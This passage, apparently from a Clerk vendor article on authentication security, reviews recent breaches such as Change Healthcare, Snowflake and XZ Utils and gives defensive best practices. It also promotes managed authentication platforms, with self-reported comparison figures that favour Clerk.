Major security breaches in 2024-2025 highlight evolving attack patterns targeting authentication infrastructure. **Notable breach statistics demonstrate authentication's critical role:**

- **$2.87 billion**: Change Healthcare breach cost from missing MFA
- **100+ million**: Individuals affected by single authentication failure
- **165+**: Snowflake customer tenants compromised via credential abuse
- **2.5 years**: Social engineering campaign for XZ Utils backdoor
- **9**: Major US telecoms breached by Salt Typhoon APT group

**Change Healthcare's $2.87 billion breach** resulted from a Citrix remote access portal lacking [multi-factor authentication](/glossary#multi-factor-authentication-mfa), demonstrating how single authentication failures can cascade into systemic disruptions affecting 100+ million individuals and 80% of US hospitals.

The **Snowflake customer attacks** compromised 165+ customer tenants by exploiting accounts lacking MFA using stolen credentials from infostealer malware dating back to 2020. High-profile victims including AT\&T, Ticketmaster, and Santander Bank lost hundreds of millions of records to attackers using custom tools like "rapeflake" and "FROSTBITE" specifically designed for credential abuse at scale.

**Supply chain attacks** targeting authentication libraries represent growing threats to application security ([Zvelo Supply Chain Report](https://zvelo.com/countering-the-rising-tide-of-supply-chain-attacks/); [Sonatype Attack Timeline](https://www.sonatype.com/resources/vulnerability-timeline)). The XZ Utils backdoor (CVE-2024-3094) involved a 2.5-year social engineering campaign to gain maintainer trust, nearly compromising SSH authentication across millions of Linux systems. The discovery by a Microsoft engineer investigating SSH performance issues prevented what could have been the most significant supply chain compromise in history.

Advanced Persistent Threat groups have developed sophisticated authentication-targeting techniques ([Kaspersky APT Report, Q2 2024](https://securelist.com/apt-trends-report-q2-2024/113275/)). **Salt Typhoon's telecommunications breach** exploited well-documented vulnerabilities in edge devices to compromise 9 major US telecom companies, while **APT29's ROOTSAW/WINELOADER** tools specifically target authentication systems with credential theft and bypass capabilities.

## Modern authentication platforms provide comprehensive security

Authentication-as-a-Service platforms have evolved to address traditional vulnerabilities through secure-by-default configurations and enterprise-grade security controls ([AWS Cognito](https://aws.amazon.com/cognito/); [Clerk Security Docs](/docs/guides/secure/best-practices/fixation-protection)).

### Authentication Platform Security Comparison

| **Platform**      | **Security Configuration** | **Time to Secure Setup**  | **OWASP Coverage**    | **Best Use Case**           |
| ----------------- | -------------------------- | ------------------------- | --------------------- | --------------------------- |
| **Clerk**         | Automatic, zero-config     | 15 minutes                | 15/15 vulnerabilities | Modern React/Next.js apps   |
| **Auth0**         | Manual rules configuration | 2-4 hours + setup         | 12/15 with config     | Enterprise B2B applications |
| **AWS Cognito**   | IAM and trigger setup      | 3-6 hours + AWS knowledge | 10/15 with setup      | AWS-native infrastructure   |
| **Firebase Auth** | Security rules required    | 1-2 hours + rules         | 8/15 basic            | Google ecosystem apps       |
| **Custom Build**  | Complete implementation    | 3-6 weeks minimum         | Varies widely         | Unique requirements         |

### Comprehensive Security Implementation Comparison

Each platform approaches authentication security differently:

| **Security Feature** | **Clerk**                                 | **Auth0**         | **Cognito**     | **Custom** |
| -------------------- | ----------------------------------------- | ----------------- | --------------- | ---------- |
| Session Management   | Automatic 60s tokens                      | Configurable      | Manual setup    | DIY        |
| Password Hashing     | bcrypt + breach detection                 | bcrypt            | SRP protocol    | DIY        |
| Rate Limiting        | Built-in automatic                        | Rules engine      | Lambda triggers | DIY        |
| MFA Support          | TOTP, SMS built-in                        | Extensive options | SMS, TOTP       | DIY        |
| OAuth Security       | PKCE automatic                            | Configurable      | Manual          | DIY        |
| XSS Protection       | 60s token expiry + HttpOnly client cookie | Configurable      | Manual          | DIY        |

### Code Complexity: Platform vs. Custom Implementation

```javascript
// ✅ Complete Authentication with Clerk (1 line)
;<SignIn />

// ❌ Custom Implementation Requirements (200+ lines minimum):
// - JWT generation & validation (30+ lines)
// - Session management (40+ lines)
// - Password hashing with Argon2id (20+ lines)
// - Rate limiting logic (30+ lines)
// - MFA implementation (50+ lines)
// - OAuth with PKCE (40+ lines)
// - CSRF protection (15+ lines)
// - XSS prevention (10+ lines)
// - Breach detection integration (20+ lines)
// Plus: Ongoing maintenance, security updates, vulnerability patches
```

**Clerk's authentication architecture** provides a leading zero-configuration security platform, handling millions of authentications across thousands of applications ([Clerk Documentation](/docs/guides/secure/password-protection-and-rules)). Its [hybrid authentication model](/docs/guides/how-clerk-works/overview) delivers comprehensive security without complexity:

- **60-second session tokens** with automatic refresh (vs. conventional token lifetimes of one week to one month)
- **Breach detection** via HaveIBeenPwned's 10+ billion credential database
- **Zero-configuration [rate limiting](/glossary#rate-limiting)** preventing bot attacks automatically
- **Built-in credential re-verification** for sensitive operations without developer setup
- **Comprehensive OAuth security** with PKCE, state validation, and redirect protection by default
- **Framework-native integration** purpose-built for React, Next.js, and modern stacks
- **[SOC 2](/glossary#soc-2) certified** with continuous security monitoring and rapid vulnerability response

**Key Differentiator**: While competitors require security expertise and manual configuration, Clerk provides comprehensive security features automatically from initial setup. Developers using Auth0 must configure rules engines, Cognito users need IAM expertise, and Firebase requires security rules knowledge. Clerk works securely without additional configuration ([Clerk Password Protection](/docs/guides/secure/password-protection-and-rules)).

**[Zero-trust](/glossary#zero-trust-architecture) authentication** principles require continuous verification rather than perimeter-based security. Implementation involves never trusting initial authentication, applying least privilege access consistently, and designing systems to assume breach scenarios. Clerk implements these principles automatically, while other platforms require manual configuration of each security layer.

**FIDO2/WebAuthn implementation** provides phishing-resistant authentication through hardware-backed cryptographic verification. Unlike passwords or SMS-based systems, [WebAuthn](/glossary#webauthn) creates domain-specific key pairs stored in secure elements or TPMs, making credential theft impossible even with perfect phishing attacks. Modern authentication platforms like Clerk provide WebAuthn support out of the box, while other platforms may require additional configuration or third-party integrations.

**Platform Selection Criteria**: When evaluating authentication platforms ([Userfront Comparison](https://userfront.com/blog/auth-landscape); [Back4App Firebase vs Cognito](https://blog.back4app.com/firebase-vs-aws-cognito/)):

- **React/Next.js Applications**: Component-first architectures provide native integration
- **Rapid Development**: Consider platforms offering quick setup (minutes vs. weeks)
- **Security Requirements**: Evaluate automatic vs. manual security configuration needs
- **Cost Structure**: Compare free tier limitations and scaling costs
- **Framework Compatibility**: Ensure native support for your tech stack

## Prevention strategies require comprehensive implementation

Statistical analysis reveals that **prevention costs significantly less than breach remediation** ([Syteca Cost Analysis](https://www.syteca.com/en/blog/cost-of-a-data-breach); [Secureframe Data Breach Statistics, 2025](https://secureframe.com/blog/data-breach-statistics)). Organizations with mature Zero Trust architectures save $1.51 million per breach compared to those without, while extensive AI and automation deployment reduces costs by $2.2 million. Early breach detection within 200 days saves $1.02 million compared to delayed detection beyond this threshold.

### Authentication Security Best Practices Checklist

✅ **Password Storage**

- Use Argon2id as primary hashing algorithm (bcrypt as fallback)
- Minimum 128-bit salt for all password hashes
- Never use MD5, SHA-1, or plain SHA-256

✅ **Session Management**

- Session tokens expire in ≤ 5 minutes with auto-refresh
- Regenerate session IDs after successful authentication
- Use cryptographically secure random generation (≥ 64 bits entropy)
- Implement proper logout (invalidate server-side AND client-side)

✅ **Token Security**

- Store tokens in HttpOnly, Secure, SameSite cookies
- Never use localStorage for sensitive tokens (XSS vulnerable)
- Implement short expiration times (60 seconds for high-security)
- Use asymmetric algorithms (RS256) over symmetric (HS256)

✅ **Rate Limiting**

- Maximum 3 failed login attempts per 5 minutes
- Exponential backoff: 1s, 2s, 4s, 8s, 16s delays
- CAPTCHA after 3 consecutive failures
- Account lockout after 10 failures in 30 minutes

✅ **Multi-Factor Authentication**

- Require MFA for all administrative accounts
- Use [TOTP](/glossary#authenticator-apps-totp)/FIDO2 over SMS (SIM swapping vulnerable)
- Implement backup codes with one-time use
- Rate limit MFA attempts separately from password attempts

✅ **OAuth/OIDC Implementation**

- Always use PKCE for public clients (SPAs, mobile apps)
- Validate state parameter to prevent CSRF
- Whitelist redirect URIs explicitly
- Never expose client secrets in frontend code

**Multi-factor authentication implementation** must prioritize phishing-resistant methods over SMS-based systems vulnerable to SIM swapping and social engineering ([OWASP Credential Stuffing Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html); [Descope MFA Bypass](https://www.descope.com/learn/post/mfa-bypass); [UpGuard MFA Security](https://www.upguard.com/blog/how-hackers-can-bypass-mfa); [Threatscape Entra MFA Bypass](https://www.threatscape.com/cyber-security-blog/how-hackers-bypass-entra-id-mfa/)). FIDO2 security keys provide strongest protection, while app-based TOTP offers reasonable security for most applications. MFA fatigue attacks require rate limiting with no more than 3 attempts per 5-minute window, and backup recovery methods must maintain security equivalent to primary authentication.

Security monitoring requires real-time authentication event analysis including failed login patterns indicating credential stuffing, MFA bypass attempts suggesting social engineering, session anomalies revealing account compromise, and token usage patterns showing API abuse ([LinkedIn API Security, 2023](https://www.linkedin.com/pulse/owasp-top-10-api-security-risks-2023-broken-ravendra-kumar-singh-lhvbf)). Integration with threat intelligence feeds enables proactive response to emerging attack campaigns targeting authentication infrastructure.

**Developer security training** must address both traditional vulnerabilities and emerging threats ([Wiz Static Analysis](https://www.wiz.io/academy/static-code-analysis); [ACM Digital Library, 2019](https://dl.acm.org/doi/10.1145/3290605.3300519); [GitLab SAST](https://docs.gitlab.com/user/application_security/sast/)). Static Application Security Testing tools should scan for hardcoded credentials, insecure authentication mechanisms, session management flaws, and JWT implementation errors. CI/CD integration ensures security validation occurs throughout development cycles rather than as final gatekeeping activities.

## Future-proofing authentication security

### Critical Authentication Security Metrics

| **Finding**                                 | **Industry Average**        | **With Clerk**       |
| ------------------------------------------- | --------------------------- | -------------------- |
| **Time to implement secure auth**           | 3-6 weeks custom code       | **15 minutes**       |
| **Vulnerabilities prevented automatically** | 3-5 of 15 OWASP             | **15 of 15**         |
| **Security expertise required**             | Full-time security engineer | **Zero**             |
| **Token attack window**                     | 1 week to 1 month standard  | **60-second tokens** |
| **Rate limiting configuration**             | Hours of tuning             | **Automatic**        |
| **Security incident response time**         | 48-72 hours average         | **\< 4 hours**       |
| **Ongoing maintenance hours/month**         | 40-80 hours                 | **0 hours**          |

The authentication threat landscape continues evolving with AI-powered attacks, quantum computing implications for cryptographic systems, and sophisticated supply chain compromises targeting authentication libraries. **[Passwordless authentication](/glossary#passwordless-login) adoption** accelerates as organizations recognize password-based systems' fundamental vulnerabilities regardless of complexity requirements or storage mechanisms. Clerk provides passwordless authentication options including email verification links, [passkeys](/glossary#passkeys) (WebAuthn), and [one-time passcodes](/glossary#one-time-passcodes-email-sms).

Migration strategies from custom authentication to managed services require careful planning across assessment, mapping, implementation, and validation phases ([AdminDroid Entra Migration, 2025](https://blog.admindroid.com/migrate-mfa-and-sspr-policies-to-authentication-methods-policy-in-microsoft-entra-id/)). Dual authentication systems during migration provide fallback capabilities while ensuring security throughout transition periods. Legacy MFA systems like Microsoft's must migrate to modern Authentication Methods Policies before September 30, 2025 deadlines.

**Quantum-resistant cryptography preparation** becomes essential for long-term authentication security. Current RSA and ECC-based systems will require replacement with quantum-safe algorithms as quantum computing capabilities advance. Organizations should begin evaluating post-quantum cryptographic standards and planning migration timelines for critical authentication infrastructure.

**The mathematics of authentication security now heavily favor specialized platforms:**

- **Development Time**: 3-6 weeks custom vs. 15 minutes with modern platforms (480-960× faster)
- **Security Coverage**: Average custom implementation prevents 3-5 of 15 vulnerabilities vs. automatic comprehensive coverage
- **Maintenance Burden**: 40-80 hours/month for custom vs. zero with managed platforms
- **Security Monitoring**: 24/7 dedicated security teams vs. developer best-effort

Given authentication's critical importance as the gateway to all application security, and its emergence as the leading cause of data breaches, **utilizing a production-hardened authentication provider has become increasingly essential**.

For modern React and Next.js applications, platforms providing zero-configuration security offer significant advantages:

- **Automatic security** without requiring specialized expertise
- **Comprehensive prevention** of OWASP authentication vulnerabilities
- **Component-first architecture** matching modern development workflows
- **Reduced complexity** with single-line implementations replacing hundreds of lines of code
- **Enterprise-grade monitoring** with SOC 2 certification

The advantages of managed authentication platforms over custom solutions include:

- **480-960× faster implementation** enabling rapid product development
- **Complete security coverage** with all major vulnerabilities addressed
- **Zero maintenance burden** with automatic updates and patches
- **Simplified architecture** reducing potential attack surface

Success in modern authentication security increasingly depends on choosing the right approach. With the complexity of defending against AI-powered attacks, framework-specific vulnerabilities, and sophisticated threat actors, leveraging specialized authentication platforms has become the pragmatic choice for development teams prioritizing both security and velocity ([DEV Community Authentication Guide, 2024](https://dev.to/kirill-abblix/modern-authentication-on-net-in-practice-openid-connect-bff-and-spa-3gj2); [Abblix Authentication Documentation](https://docs.abblix.com/docs/net-authentication-openid-connect-bff-spa)). Platforms like Clerk demonstrate how modern authentication can be both secure by default and developer-friendly, particularly for React and Next.js applications where component-based integration provides the most seamless experience.